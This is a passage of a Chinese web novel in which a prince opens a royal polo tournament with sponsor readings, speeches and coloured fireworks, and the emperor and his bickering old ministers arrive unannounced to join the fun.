萧恒看着这热闹非凡的场面,侧过头,带着几分显摆和期待的神情,对身旁的太子兴致勃勃地问道:“皇兄,看着眼前这番景象,感觉如何?”
太子闻言,目光并未从场上移开,只是下意识地随口应道:“倒是新颖,不错。”
说完,便又恢复了沉默,依旧静静注视着下方进程。
“这就……完了?”萧恒表情明显一怔。
心里不由得嘀咕起来:眼前这阵仗,这气氛,筹备得如此隆重热闹,皇兄你这反应是否太过平淡了些?
萧恒目光飞快地扫视了一圈周围,但见无论是普通观众席,还是两侧的官员看台,众人无不是兴致盎然,交头接耳地讨论着。
脸上写满了新奇与激动。
对比之下,太子这般淡然的反应,着实让萧恒觉得有些被冷落,面子上略感挂不住。
“今日这开幕式别开生面,以往确实少见。”
“能促成眼前这般盛况,想必小弟前前后后没少花费心思吧?”
坐在一旁的太子妃,心思细腻,刚才便留意到萧恒向太子询问时那期盼的眼神,以及得到简短回应后眼底一闪而过的、如同孩童献宝却未得到预期赞赏般的失落。
于是适时抬眸,莞尔一笑,柔声接过了话头。
太子妃这一开口,萧恒脸上那刚黯淡下去的神色瞬间又亮了起来。
“确实花了不少心思,”萧恒笑着回应,语气也轻快了不少。
“那小弟可得与我好好说道说道,我真是好奇得紧,你这些新奇有趣的点子,究竟是怎么想出来的?”太子妃顺着萧恒的话,表现出十足的兴致。
“好啊!”萧恒闻言,眉头一扬,立刻来了精神。。
当即起身,走到太子妃一侧,抬手拍了拍坐在太子妃旁边的一位官员:“你,去那边坐,本王坐这儿。”
“诺。”
被点到的官员脸上掠过一丝诧异,但不敢多言,立刻起身应声,挪到了萧恒原先的位置。
“嫂子,我给你说,为了这场活动,小弟我可是……”
萧恒一屁股坐下,便迫不及待眉飞色舞地向太子妃讲述起自己早已准备好的说辞。
如何构思,如何筹备,讲得是绘声绘色,手舞足蹈。
太子妃听得十分专注,不时恰到好处地流露出惊讶、赞叹的表情,并适时插话问上一两句。
将萧恒讲述的情绪不断推向高处,这情绪价值可谓是给得十足到位。
一旁的太子起初听着萧恒的讲述,表情还有些茫然,但随即瞥见太子妃那异常配合,巧笑倩兮的模样。
再看向萧恒那副恨不得把全部功劳和盘托出的兴奋劲儿,心中不由了然。
暗自叹息一声,这小子……
萧恒讲到兴头上,还不忘补充道:“可惜了,今日我原本也邀请了母后与皇姐前来,一同热闹热闹。”
“只可惜她们二人今日恰巧都有要事在身,未能前来,实在遗憾。”
太子的目光落在萧恒身上,此刻的萧恒,活脱脱就像一个得了好成绩、迫不及待向长辈炫耀讨要夸奖的孩童。
母后没来,长公主也没来。
他想找人分享这份成就感和喜悦,找其他人似乎都不太合适,方才恐怕最初是想找自己这个皇兄来着,可惜自己没能及时领会,反应过于平淡。
反倒是太子妃,此刻配合得恰到好处。
想到此节,太子看着萧恒那副毫不掩饰兴致勃勃的样子,不由地轻轻摇了摇头,嘴角泛起一丝无奈又带着几分纵容的笑意
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终究还是年轻,心性尚存着这般赤诚幼稚的一面。
不过,生于帝王家,历经诸多事宜后,竟还能保留着这般近乎孩童的心性,倒也实属难得。
“皇兄,你这么看着我作甚?”太子正微微出神思索着,并未注意到萧恒的视线不知何时已转向了自己。
直到萧恒带着疑惑的声音在耳边响起,太子才蓦然回神。
太子面色瞬间恢复如常,笑了笑,温言道:“没什么。”
略一停顿,又补充了一句,带着勉励的意味:“不过,今日你做得确实不错,继续努力。”
“多谢皇兄鼓励,臣弟定当竭尽全力。”
萧恒顿时咧开嘴,笑得见牙不见眼,那模样活像地主家毫无心机的傻儿子,纯粹而满足。
太子见状,再次无奈地笑了笑,心中暗忖。
以往怎未发现,自己这位九弟,还有如此……纯真的一面?
难不成,以往他种种看似胡闹的行径,并非出于恶意,只是因为这心智尚未完全成熟,带着些孩子气。
觉得父皇与母后对他关注不够,故而故意弄出些动静来,以期引起二老的注意?
太子还未及深思,场中主持人的声音再度洪亮地响了起来,瞬间将看台上所有人的目光,包括太子、太子妃和萧恒,都重新吸引回了场地中央。
“接下来,是最后一支队伍入场!”
“让我们同样以最热烈的掌声,祝福这些年轻的队员们,在接下来的比赛中能够取得优异的成绩。”
“另外,在此特别鸣谢,此次赛事得以成功举办,离不开以下各大赞助商的鼎力支持。”
“会不是……”
“商号为民开,百货齐全样样在,茶米油盐酱醋茶,百姓商号百姓爱——只有您想不到的商品,没有我民生商号不卖的商品。”
“感谢本次大赛的总冠名赞助商——民生商号。”
“百年手艺传承,织就云霞作华衫,绸缎绫罗随心选,巧裁锦绣展新颜,感谢冠名赞助商——张氏布庄。”
“信誉为仓,米面粮油,五谷飘香,精挑细选,粒粒饱满,家业兴旺,粮安四方,感谢冠名赞助商——李氏粮号。”
……
第91章:两方世界,一模一样的致词画面
此刻立于场地中央,站在特制高台之上,担当主持的这位青年,乃是萧恒从礼部举荐之人与民间招募的数百名候选者中,亲自逐一面试、严格筛选而出的。
此人虽则年纪尚轻,不过二十五六的光景。
但临场应变极为迅捷,口才更是出众拔群。
尤其擅长引导场面、调动情绪,绝不会令任何一句话落在地上,萧恒正是看重他这份能力,才将主持大任托付于他。
而此人的表现也确实堪称卓越,仿佛天生便该站在此处,以主持为业。
若生于后世,再得些许家世背景的扶持,以此人这般伶俐口齿与机变之才,必定能在某个行当里崭露头角,大放异彩。
这一连串的广告鸣谢,牵扯到数十家商号。
各家广告词皆不尽相同,他竟全程未看手卡一眼,全凭事前熟记,背得滚瓜烂熟,此刻朗朗上口,流畅自如。
几十家商号的冠名致谢,主持人以平稳的语速清晰的吐字,持续念了将近半刻钟,才全部宣读完毕,自始至终未出一丝差错。
诵毕之后,能明显看出此人脸色微微发白,气息也略见急促,足见这一环节耗神不少。
然而此人并未显露出丝毫松懈,当即深吸一口气,再次提振嗓音,以饱满激昂的声调高声宣告:
“接下来,在下荣幸地向各位介绍,此次朝廷特为本次赛事莅临现场的尊贵嘉宾。”
“他们分别是——我大梁储君,太子殿下,以及,太子妃娘娘。”
“请诸位让我听见你们最热烈的掌声,以及最响亮的欢呼声,恭迎太子殿下与太子妃娘娘鸾驾亲临。”
此人曾由萧恒抽空亲自加以培训,因而主持风格并未沿袭以往诸事皆循规蹈矩,追求庄重大气的旧例。
反而一切以活跃现场气氛为主,显得格外活泼跳脱。
故而此刻面对主持人这般辞令,不少到场的大梁官员皆微微蹙眉,认为如此作派过于轻浮。
有损朝廷在百姓心目中一贯的威严形象。
不过此人毕竟是齐王亲自甄选而来,众人虽面露不满,但一见齐王此刻正满脸欣赏地注视着那人。
而太子殿下也未见丝毫不悦之色,便无人不识趣地出面斥责。
主持人话音落下。
太子当即与太子妃一同站起身来,面向四周看台的观众,颔首微笑致意,仪态从容大方,亲切中尤见皇家威仪。
“太子殿下千岁!太子殿下千岁!”
由于太子身份尊贵,且历来不乏意图对太子不利之徒,因此今日太子的行踪乃属高度机密,并未提前对外公布。
即便是齐王萧恒的行程,也未曾提前泄露。
至于途中或有百姓得见太子仪仗,然此间时代既无手机,亦无互联网。
消息自然不可能在短短几个时辰内便传得人尽皆知。
因此,当现场近万观众听见主持人亲口宣布,尊贵的太子殿下与太子妃娘娘竟也在场观礼时,全场顷刻沸腾。
能与太子同处一地、共观同一盛事,这简直是一桩足以夸耀一生的谈资。
顿时无数人激动得霍然起身,奋力挥舞手臂,扯开嗓子纵声高呼,声浪一波高过一波,以此抒发对储君的敬仰与炽热欢迎。
“以及齐王殿下——”主持人继续介绍。
一众观众闻声,呐喊声同样高昂不绝。
于他们看来,皆为天家血脉,身份一般尊贵无匹。
外出夸耀时,并不妨碍什么。
另外还有一个重要的原因,身旁既有人在高声呐喊,自己若不随众呼喊,是否会显得自己不合时宜,是否会被人记下,
认作是对皇室不恭,日后借故刁难?
故而现场观众有一个算一个,无论是发自肺腑,还是虚与委蛇被迫为之,皆在放声呐喊。
这股狂热劲儿,听得萧恒脑袋嗡嗡作响,不禁暗叹:不愧是封建王朝治下的百姓,对于皇室成员,几乎怀有一种近乎盲目的狂热崇拜。
萧恒起身向四周微笑颔首示意,抬手向下压了压,意图平息声浪。
然而并无丝毫作用,欢呼声依旧鼎沸,良久之后,一众观众的呐喊声才渐渐平息下来。
主持人的声音,方再度响起,继续介绍余下列席的朝廷官员,凡紧要些的官员皆一一唱名。
此乃萧恒事先的要求:既让人出力办事,便须给予最基本的尊重。
毕竟顺带提上一嘴,于己并无损失。
尊重,终究是相
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互的嘛。
“下面有请尊敬的太子殿下,为此次盛事致词。”
全部介绍完毕,主持人继续推进流程。
太子起身开始致辞,此世界并无麦克风,亦无扩音器。
但在空阔的场地间,万籁俱寂之下,太子的嗓音显得格外洪亮,远远传扬开去。
太子的讲稿显然事先精心备妥的,措辞极为正式,充满家国大义。
其间,四周官员不时情绪激动地带头鼓掌,继而全场观众见状,亦随之掌声雷动。
太子便每每静待掌声歇止,方继续讲话。
全程竟持续了两三刻钟之久,才结束了讲话,坐了回去。
山呼海啸般的雷鸣掌声,此起彼伏,接连不断。
前世萧恒未曾亲身参与过什么像样的大型官方活动。
但俗话说的好,没吃过猪肉,还没见过猪跑吗?
国内国外,电视上转播的大型活动要多少?
此刻太子的讲话,与那些电视上大型活动中领导致辞的模式简直是如出一辙。
先论家国大义,再祈天下安宁,末了是鼓舞人心之语。
听得众人热血沸腾,然此刻的萧恒却几欲昏昏入睡。
“下面有请齐王殿下致词——”
直至主持人按流程点到自己,萧恒这才一扫困倦之态,站起身来。
随意清了清嗓子,目光环视四周,正迎上万千期待教诲的观众目光。
萧恒微微一笑,朗声喝道:“太子殿下的训示,已然十分周详,望诸位,无论是我大梁官员,还是黎民百姓,皆能悉心践履。”
“此刻,本王正式宣布:大梁第一届马球皇家杯,正式开始。”
“咻——!”
随着萧恒话音落下,整座球场四周,瞬间点燃了一圈五彩斑斓的烟火,直冲云霄。
看的众人连连惊呼,大为震撼。
**在此方天地,已存世数百年。
这方世界**的出现,是一个偶然出现的。
是一群术士,为追求长生不老的皇帝炼制丹药,偶然所得。
历经数百年发展,如今大梁的**技艺已经成熟了不少。
目前,**在大梁早已广泛应用于军事、矿藏开采、民间烟花爆竹等诸般领域。
第92章:人生又惨又逗的叶北辰
鉴于**本身所具有的特殊性质,及其潜在的巨大风险,朝廷对于**的管控极为严格。
除官府因公使用外,民间一律严禁私自持有,制造或进行任何形式的交易。
即便是民间逢年过节允许燃放的烟花爆竹,若想购买,也需遵循一套严密的程序。
购买者必须事先前往当地衙门,详细说明购买的具体缘由,用途以及使用场合。
并进行全面的信息登记与报备。
在获得衙门的正式批准,拿到盖有官印的许可文书之后,方能凭此条前往专司**售卖的**司进行采购。
大梁王朝的烟花制造工艺,本就已经是相当成熟的水平了,每逢年节庆典、寿诞吉日。
对于家境殷实,颇有势力的阶层而言,燃放烟花几乎是不可或缺的助兴环节。
因此,当萧恒将那种专供于白日使用的彩烟这一全新概念,向**司的资深工匠们提出后。
凭借其精湛的技艺和丰富的经验,工匠们很快便成功研制了出来。
这种以往在市面上从未出现过的彩色烟云,于今日盛会首次公开亮相,自然是毫无悬念地成功赢得了一片惊叹与喝彩之声。
尤其是那些天性热爱浪漫,对美好事物格外敏感的女子们。
当绚丽的彩烟环绕着偌大的场地,袅袅升腾而起的那一刻,无数双美眸瞬间被点亮,闪烁着惊艳的光芒。
人群之中,不少女子情不自禁地站起身来,翘首望着那冉冉升腾的缤纷彩烟,兴奋地对着身旁的闺中密友,或是其他同来的伙伴,雀跃不已地议论道。
“你们快看呀,这烟花竟是能在白日燃放,还能如此绚丽夺目。”
“是呀是呀,真真是好看极了。”
“只是这般奇妙的烟花,以往怎地从未在别处见过呢?”
许多女子低声交谈着,言语间充满了新奇与赞叹。
亦有那借此良机,邀请心仪女子一同前来观看今日赛事的年轻男子。
见身侧的女子对眼前燃放的彩烟流露出如此浓厚的兴趣。
当即眼前一亮,捕捉到了献殷勤的绝佳时机。
兴冲冲地开口道:“此等烟花确是前所未见,想来定是**司那边新近研制出的新鲜玩意儿。”
“你若真心喜爱,回头我便遣人去那**司采购一批回来,专程为你燃放,只要你欢喜便好。”
女子听闻此言,眼中霎时掠过一抹难以掩饰的欣喜,与此同时,一抹娇羞的红晕也悄然爬上了她的脸颊。
……
今日仅是皇家杯赛事的开幕盛典,因此在完成了一系列既定流程之后。
并未安排正式的比赛环节。
唯有一场旨在烘托气氛,与众同乐的表演赛。
参与表演的两支队伍,一支是由萧恒亲自筹组并命名的大梁皇家队。
另一支则是由京都叶家三房长子叶北辰所组建的。
队名唤作“撼岳队”。
萧恒之所以从众多报名参赛的队伍中,独独挑选了叶北辰的这支撼岳队,来与自己亲建的大梁皇家队进行表演赛。
其缘由在于,这支撼岳队中的成员,几乎皆是京都武勋世家的二代子弟。
而撼岳二字,亦是叶北辰取自其大伯执掌的威名赫赫的撼岳营,其中深意,不言自明。
说起来,叶北辰也是够郁闷的。
叶家世世代代皆为军武世家,族风彪悍,将星辈出。
依照叶家沿袭百年的惯例,凡是叶家子弟,无论直系亦或旁支,只要成年后符合大梁的征兵标准。
且有志于投身军旅,报效国家,皆可前来寻主脉之人商议,主脉自有责任与渠道将其妥善安排进入军中历练。
甚至主脉的子弟,往往不等成年,便会提前被送入军营,从一个普通的大头兵开始磨砺,体验军旅艰辛。
百年将门,叶家祠堂之中,不知供奉着多少位战死沙场,马革裹尸的叶家男儿灵位。
也正是这一代又一代传承不息,深入骨髓的信仰与家风,使得叶家儿郎几乎个个尚武。
普遍认定那金戈铁马,浴血厮杀的战场,方是男儿建功立业,实现价值的不二之地。
然而,就是这样一个与武事紧密相连的家族,传到了叶北辰的祖父叶立峰这一代,老人的思想却陡然发生了转变。
叶老爷子固执地认为,叶家不能世世代代尽是武夫,家族之中必须得出一位文采风流的读书人。
以免总被外界在背后讥讽为匹夫之家,有损门风清誉。
于是,叶老爷子便开始了他那漫长的文人养成谋划。
他自忖自己这一辈,老哥几个都已活了半辈子,战死的战死,伤残的伤残,年迈的年迈,脾性早已定型,扭转无望。
这培养文人之气的重任,便只能寄托于下一代了。
也就是叶北辰的父亲那一辈。
时任叶家家主的叶立峰,膝下共有三个儿子。
当这三位得知老父亲竟有意让他们弃武从文之后。
竟是心有灵犀一般,在一个夜晚不约而同地连夜收拾细软,悄无声息地溜出了镇军大将军府。
旋即快马加鞭,头也不回地直奔各自熟悉的军营而去。
当时被一并带着逃离的,还有叶家的一众小辈男丁。
而当时的叶北辰,年仅七岁。
一个七岁的奶娃娃,自然是不可能被允许带入军中的。
一群五大三粗的军汉之中,混进一个垂髫小儿,成何体统?
况且,这里还有一个更关键的因素。
必须得留下一个男丁,给叶老爷子留个念想和指望。
倘若全都跑光了,那岂不是等于谁也没能真正逃脱老爷子的魔掌?
于是,就这样,叶家老爷子在府中跳着脚骂骂咧咧了一整天后,最终还是无奈地将全部的希望,重重地压在了时年七岁,叶北辰那尚且稚嫩的肩膀上。
叶老爷子不惜重金,接连请来了多位学识渊博的教书先生,轮番上阵,意图对叶北辰进行全方位的文化熏陶与系统教育。
誓要将其从小培养成一位温文尔雅的谦谦君子。
但非常可惜,有些特质,仿佛是深深烙印在血脉与基因之中的,难以轻易扭转。
幼年的叶北辰,你若是让他研读兵书战策
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,他倒是能读得摇头晃脑、津津有味,兴致盎然。
可一旦让他去读那些《四书》、《五经》之类的儒家经典,那便彻底完犊子了,几乎是拿起书就止不住地打瞌睡,鼾声时起。
非但如此,年纪小小的叶北辰,脾气却是不小,一年之内,竟接连气跑亦或者打跑了数位被重金聘来的教书先生。
于是,叶北辰便是在这般奇特的氛围中成长:年幼时,每年都要气跑数位教书先生。
气的叶老爷子直跺脚,但又无可奈何。
谁叫眼前的孙儿,虽顽劣不堪,但好歹还在自己眼跟前,有个指望。
其他的那群混蛋玩意,是直接没影了啊,好说歹说就是不回来。
跟她奶奶的长在军中了一般,任由自己转着圈的骂娘都没有,就是不回家。
至于叶北辰年岁稍长,识得路径后,便开始每年想方设法地偷偷逃跑,企图溜进军营。
结果不是被早有防备的叶老爷子半路逮个正着,强行押解回府。
便是侥幸跑到了军营,却被自己的父亲、或是大伯、二伯,再或是其他早已在军中的兄长们发现。
然后毫不留情地差人将其押送回大将军府,交到老爷子手上。
叶家老爷子如今想让叶家出一位文人的执念,几乎已经到了走火入魔的地步。
整个叶家,就数叶北辰年纪最小,是可塑性最强的苗子,断然不能让其也踏入军旅。
同时这也是全家唯一一个能吸引老爷子主要火力的靶子。
若是连他也成功突围了,那叶老爷子那殷切期盼的目光,还不得立刻转移到其他儿孙身上?
那还得了?
所以死道友不死贫道,只能牺牲一下自己的血脉侄子,手足兄弟了。
叶北辰便是在如此这般精彩纷呈,充满博弈与拉扯的家庭环境中,一年年地长大成人。
而如今,叶北辰之所以耗费心力组建这支撼岳马球队,从某种程度而言,也是他对自己祖父的一种无声对抗与宣言。
意在表明自己渴望继承家族军旅传统,投身行伍的坚定决心。
当然,叶老爷子最终能够同意叶北辰组建球队,也是叶北辰付出了巨大代价才换来的妥协结果。
至少,在接下来的一段时日里,叶北辰不能再肆意翘掉国子监的课程了。
并且学业必须有所进步,要能获得国子监夫子的当众夸奖。
唯有如此,叶老爷子才会开恩,允许叶北辰偶尔参与马球活动,作为放松的奖励。
萧恒当初在审阅各支参赛队伍的详细背景资料时。
看到手下人呈报上来,关于叶北辰的这份堪称曲折的成长经历时,直接就忍俊不禁,笑出了声。
萧恒几乎没有任何犹豫,便直接拍板,选中了叶北辰的这支撼岳队,来与自己的大梁皇家队进行这场表演赛。
若问理由,倒也并非出于多么复杂的考量。
单纯只是觉得这小子的人生经历,听起来实在是又惨又逗,颇具趣味罢了。
自己只是在茫茫人群中,多看了他一眼,便相中了他。
哈哈哈哈
第93章:人才啊
“有请双方球队队员入场。”
“轰轰轰……!”
随着主持人高亢的嗓音在赛场上空回荡,场地四周再次喷射出一圈绚丽夺目的彩色烟柱,将现场火热的氛围推向了新的巅峰。
两支球队的队员身着鲜明的队服,分别从相对的两个入场口整齐列队,正式步入赛场。
此刻叶北辰一手轻挽缰绳,一手紧握球杆,双腿微夹,催动胯下战马以小步行进。
叶北辰环视着看台上人山人海,呼声震天的壮观景象,在这一刻,他恍惚觉得自己俨然成了一位正接受万民欢呼的凯旋将军。
尽管心中明了这些喝彩并非专为自己而来,却丝毫未减他沉浸其中的兴致。
所以此刻叶北辰无比沉醉于这被万千目光聚焦的时刻。
“祖父您可知晓,相较于舞文弄墨的文人雅士,我叶家儿郎的骨子里,终究更流淌着冲锋陷阵,驰骋沙场的热血。”
叶北辰脑海中不由浮现出一幅画面:自己成了得胜还朝的大将军,而耳边山呼海啸般的呐喊,皆是为他而发的由衷欢呼。
完全沉浸于这幻想之中,时而微微颔首,时而抬手致意,不断做出各种引人注目的姿态,那顾盼自得的模样,着实抢眼得很。
跟在叶北辰身后的队员们目睹此景,无不面露无奈,纷纷交换着不忍直视的眼神。
坏了,队长这癔症怕是又发作了。
叶大少啊,你可知你在京城根本没什么名气啊!
眼下这些喧闹不过是主持人为炒热场子造势而已,哪里真是冲着你来的?
这可如何是好?众目睽睽之下……
是否该上前提醒队长一下?
然而一众队友踌躇片刻,终究无人上前,反倒不约而同地轻勒缰绳,刻意放慢了马速,悄然与叶北辰拉开了距离。
如此一来,叶北辰在场中的种种表演,便愈发显得突兀醒目。
这世上向来不乏热衷凑趣之人,何况今日场中观赛者多为世家子弟。
虽说这场盛会标榜与民同乐,平民百姓亦可购票入场,但门票终究要钱不是。
寻常百姓维持生计已属不易,又有几人会专程花钱来看一场热闹?
故而真正入场观赛的平民寥寥无几,士族与富家子弟仍旧是观众的绝对主力。
此刻眼见冒出这么一位社交****,自然有那唯恐天下不乱的人在台下推波助澜。
尤其是那些素来与叶北辰相熟的损友们,更是闹得欢腾,扯开嗓子各种嬉笑吆喝,高声呐喊。
什么叶北辰好帅。
什么叶北辰天下第一。
种种夸张口号此起彼伏,瞬间将叶北辰烘托得如同万众瞩目的巨星一般。
不过此刻叶北辰自我感觉好像确实如此。
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>自己就是最牛掰的那个。
脸上的神情也因此愈发显得神采飞扬,自信满满。
“这他娘真是个人才啊,”看台之上,萧恒瞧着叶北辰那副浑然忘我的模样,脸上写满了毫不掩饰的欣赏,抚掌笑道。
“我就说此人定是个宝藏,选他开场,果然有意外之喜。”
“瞧瞧,这比赛还没正式开始呢,现场气氛就让他一个人给搅热了。”
萧恒越说越觉得有趣,乐呵呵地补充道:“就这么定了,不管这小子这场球进了几个,赛后都得给他颁个个人最佳气氛奖。”
“真**是个人才,这人必须收入麾下。”
萧恒此刻是丈母娘看女婿越看越喜欢,一个劲的夸赞。
“咳……”一旁的太子闻言,忍不住轻咳一声,努力绷紧面皮,压低声音提醒道。
“注意些影响,大庭广众之下,莫要如此失态。”
萧恒却不以为意地摆了摆手,笑道:“皇兄言重了,臣弟不过一个闲散王爷,谁有那闲工夫整日盯着我挑错?”
“皇兄您保持好皇家威仪便是,臣弟嘛……自在些无妨。”
太子听了萧恒这番言论,嘴角不由微微抽动,目光再次落回场中那个依旧在尽情发挥的叶北辰身上。
该死,孤也快憋不住笑了,怎么办?
叶家竟有这般人才,以往怎么不知。
第94章:悄悄到场的梁帝与众大臣
“叶老头,你家这小子不愧是你叶家的种啊。”
“这副不要脸的劲头,和你年轻时简直一模一样,根本就是一个模子里刻出来的。”
观众席的一角,原本落座于此的购票观众已被尽数清场,取而代之的是一群气度雍容,衣着华贵之人。
他们四周环立着一众目光锐利的护卫,警惕地扫视着周围动静。
人群中央,几位须发皆白的老者将梁帝簇拥在中间,他们望向赛场,口中不断发出毫不掩饰的哄笑声。
唯有一人,此刻正紧盯着场中情形,耳中不断灌入众人的调笑,脸色铁青,眼中几乎喷出火来,一副要**的模样。
“哈哈哈,老叶,这小子果然深得你从小到大的真传啊。”
“尤其是这不要脸的劲儿,简直得了你的精髓。”
其中一个老头一手捂着肚子,笑得前仰后合,腰都直不起来。
此刻叶立峰看着自家那个好大孙,面色铁青,恨不得立刻找条地缝钻进去。
心中暗骂:特么的,我叶家世代铁骨铮铮,百年世家的脸面,今天算是被这混账玩意儿给彻底丢尽了。
“咳……”但面对周围一群老不死的嘲笑,叶立峰强压下心底翻涌的尴尬,梗着脖子道:“你们懂个屁。”
“我家大孙这是性格坚硬,泰山崩于前而色不变,天生就是干大事的料。”
“你以为谁都像你苏家那几个小子似的,一个个都是闷葫芦,三拳打不出个屁来。”
镇军大将军叶立峰瞪圆了眼睛,对着魏国公吼道。
“怎么样,这不要脸的劲儿,爷孙俩是不是一模一样?”魏国公闻言丝毫不恼,反而大笑着看向众人。
四周众人哪肯放过这等绝佳的调侃机会,立刻你一言我一语地起哄,气得叶立峰直翻白眼,差点背过气去。
“不过玩笑归玩笑,这小子打球倒是真有点门道。”
“嗯,确实有两下子。”
“叶家小子那边的对手,是齐王一手调教出来的球队吧?”
“领头那小子是谁家的后生?打得也不错,不过我咋没什么印象呢?”
众人互相拆台一番后,终于开始正经评价起场上激战正酣的比赛。
魏国公望着场上拼搏的一众青年,疑惑道:“按理说,这京都武勋世家的小辈,但凡有点本事的,我多多少少都该有点印象才对啊。”
“还真是,我也没什么印象,”叶立峰也点头附和。
“为何就一定是武勋世家的小辈?难道就不能是哪位文臣大儒家的后辈?”
左相崔文渊嘴角噙着一丝若有若无的笑意,慢悠悠地开口。
“你可拉倒吧!”
魏国公当即反驳:“就你们文官家的那些后生,一个个娇生惯养,细胳膊细腿的,还想打马球?上场没跑两圈就得累得不轻气喘吁吁。”
“能有这等技术?”
“嘿!姓苏的,你这话是什么意思?”
“莫非是看不起我等文人雅士?”
魏国公这话一出,四周顿时响起数道不满的声音。
御史大夫刘钦率先发难:“不知是谁年轻时与老夫比试输了,整整半年时间,见到老夫就绕道走,那人叫什么名字来着?”
“哦,想起来了,好像也姓苏是吧?”
“对了,当时的赌注是什么来着?”
“哎呀,年纪大了,老夫一时竟想不起来了。”
“左相你可还记得,到底是什么赌注来着?”御史大夫刘钦贱嗖嗖地瞟了魏国公一眼,转向左相问道。
“容我想想,是什么来着……”左相崔文渊故作沉思状。
魏国公却是两眼一瞪:“姓刘的,老夫就这么一桩破事,你特么是打算说一辈子是吧?”
“你后来输了我多少次,输得多惨,你还记得吗?”
御史大夫面不改色:“年纪
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大了,记不清了,就记得你输我那次,躲了我半年,赌注至今未给。”
“老匹夫,老赖子,”最后还不忘怒骂一声。
魏国公气得脖颈青筋暴起:“姓刘的,好汉不提当年勇,有本事今日咱们再比一场,是骡子是马,拉出来溜溜。”
“比就比,谁怕谁啊,”御史大夫刘钦毫不示弱地瞪眼回敬。
“哎,这事我看可行。”
周围一群半老头子顿时眼前一亮,唯恐天下不乱。
“行了行了,”唯有梁帝无奈的声音适时响起:“你们一个个这是要做什么?”
“不是说好了就秘密出来逛一圈,凑个热闹就回去吗?”
“怎么看着小辈打球,还能吵起来,甚至要亲自下场比拼?”
“一个个老胳膊老腿的,走路都不利索了,还想打马球?真当自己还是年轻时候呢?”
此刻梁帝看着两侧的一众老臣,满脸都是无奈之色。
今日下朝之后,因有要事商议,便又召集众人开了个小朝会。
议事途中,话题不知怎的就扯到了今日的马球赛事上。
这场马球赛在京都近日闹得沸沸扬扬,突然就有人提议,不如大家悄悄出宫凑个热闹。
梁帝整日枯坐宫中处理政务,一听这个提议,顿时也来了兴致。
毕竟皇帝的命也是命,总也需要些许消遣。
于是一群老头子瞬间达成共识,兴致勃勃地直奔此地而来。
然而让梁帝万万没想到的是,说好的偷偷出来看个热闹,稍坐片刻就回宫。
可这些互相算计吵闹了一辈子的老家伙,连这么一会儿工夫都安分不下来,三言两语就又吵作一团。
这顿时让梁帝一个头两个大。
果然只要这群人凑在一起,自己耳边就从未清净过,每次都是从开始吵到结束。
跟一群惹人厌的苍蝇一般,嗡嗡作响,吵闹个不停。
第95章:烫手的山芋
“啥玩意?”
“陛下来现场了,还要与一众老臣亲自下场打一场球赛?”
看台上,听完一名护卫压低声音的禀告,萧恒脸上的从容瞬间冻结,写满了难以置信。
扭头看向身旁神色同样有些懵的太子,低声问道:“父皇今日要来,皇兄你可事先知晓?”
“不知,”太子微微蹙眉,摇了摇头,声音沉稳:“看这情形,多半是临时起意。”
太子说着便站起了身,整了整衣袍,对太子妃与仍处于懵逼中的萧恒说道:“走吧,既然父皇圣驾已至,于情于理,我们都该立刻前去迎驾见礼。”
“嗯,”萧恒深吸一口气,强压下心头的波澜,点头站了起来。
萧恒一边自然地挪动脚步,紧随在太子身侧,一边迅速切换了状态。
面色骤然变得严肃冷峻,对簇拥在身边的亲随低声吩咐,声音带着不容置疑的威严:“京都大营的人马都就位了没有?”
不等回答,萧恒立刻接续命令,语速快而清晰:“眼下陛下与一众朝中老臣都在现场,情况特殊。”
“吩咐下去,所有人,立刻给本王打起十二分的精神,外围警戒提升一级,内部护卫眼睛都放亮些。”
萧恒目光锐利地扫过远处喧闹的人群,加重了语气:“务必仔细甄别人群中的每一个可疑目标,一旦发现有任何不对,哪怕只是些许苗头,都不要有任何犹豫,立刻控制带离现场。”
“今日,宁可错抓,也绝不允许放任任何一个可疑人员靠近陛下,绝不能给任何人留下对陛下产生一丝一毫危险的可能。”
“诺!”
周仓满脸严肃的应声回答。
“皇兄可还有什么需要补充的?”萧恒对太子询问道。
“先就这这样吧,”太子点头说道。
“好,”萧恒应了一声,朝周仓点了点头。
周仓随即转身步履如风地离去传达指令。
“儿臣参见父皇。”
太子、太子妃与萧恒三人寻到梁帝时,梁帝及几位须发皆白的老臣已然站在了赛场边缘的外圈。
与先前在朝堂上或争执或议事的氛围截然不同,此刻几位老大人正聚在一处,对着场上激烈的厮杀指指点点,津津有味地品头论足,时不时还爆发出一阵爽朗的笑声。
“臣等见过太子殿下,太子妃,齐王殿下。”
见到三人到来,一众臣子连忙收敛了笑容,按规矩齐齐向三人行礼。
礼毕,性急的魏国公便率先开口,声若洪钟:“齐王殿下,您来得正好。”
“今日是你的主场,还得劳烦您赶紧安排一下,一会儿让我们这几个老骨头也上场活动活动筋骨,过过瘾头。”
萧恒没有立刻回话,而是先将探询的目光投向了负手而立、面带微笑的梁帝,等待圣意示下。
梁帝语气平淡,却带着一丝不易察觉的兴致:“难得今日这几个老家伙有此雅兴,一个个摩拳擦掌的,就让他们上场活动活动吧,免得背后又说朕拘着他们。”
萧恒闻言,眉头微不可察地皱了一下,迅速看了一眼四周看台上满坑满谷、情绪高涨的百姓。
犹豫了片刻,谨慎地开口询问道:“父皇,现场百姓众多,喧嚣杂乱。”
“为确保万全,可否需要等候百姓们陆续散场之后,父皇再与诸位大人上场尽兴?”
梁帝面色平静如水,反问道:“百姓要散场了吗?”
“回父皇,恐怕还需要不少时间,”萧恒轻声回答道,语气带着些许无奈。
“按照一开始拟定并公布的流程,眼下这场表演赛过后,后续还安排有其他歌舞、杂技等表演流程。”
“若是等全部流程走完,百姓们自然散去,恐怕至少还需两个时辰以上。”
“还要这么久?”梁帝闻言轻轻摆了摆手,做出了决定。
“那就不必特意等待了,等这场赛事打完,中间休息的间隙,便直接安排让这群老家伙上场便是。”
说话间,梁帝还不忘瞥了一眼身边跃跃欲试的魏国公等人,开了个玩笑:“放心,这群老家伙,别的或许或缺,但就属脸皮修炼得最厚,无须担心他们会在百姓面前丢脸挂不住。”
萧恒闻言,脸上立刻配合地堆起笑容,回应了一句:“父皇说笑了。”
心中却是一片无声的苦涩。
我是怕这群老……老头在百姓面前丢脸吗?
我是怕您啊,父皇!
萧恒心思电转,沉思了片刻。
继续躬身奏道:“既然如此,那儿臣有一提议:一会儿,由儿臣亲自带领一队年轻球员,与父皇及诸位大人打上一场友谊赛,如何?”
萧恒抬眼看着梁帝,语气诚恳中带着一丝追忆。
“正好,儿臣当年的马球技艺,还是父皇您手把手亲自教导的。”
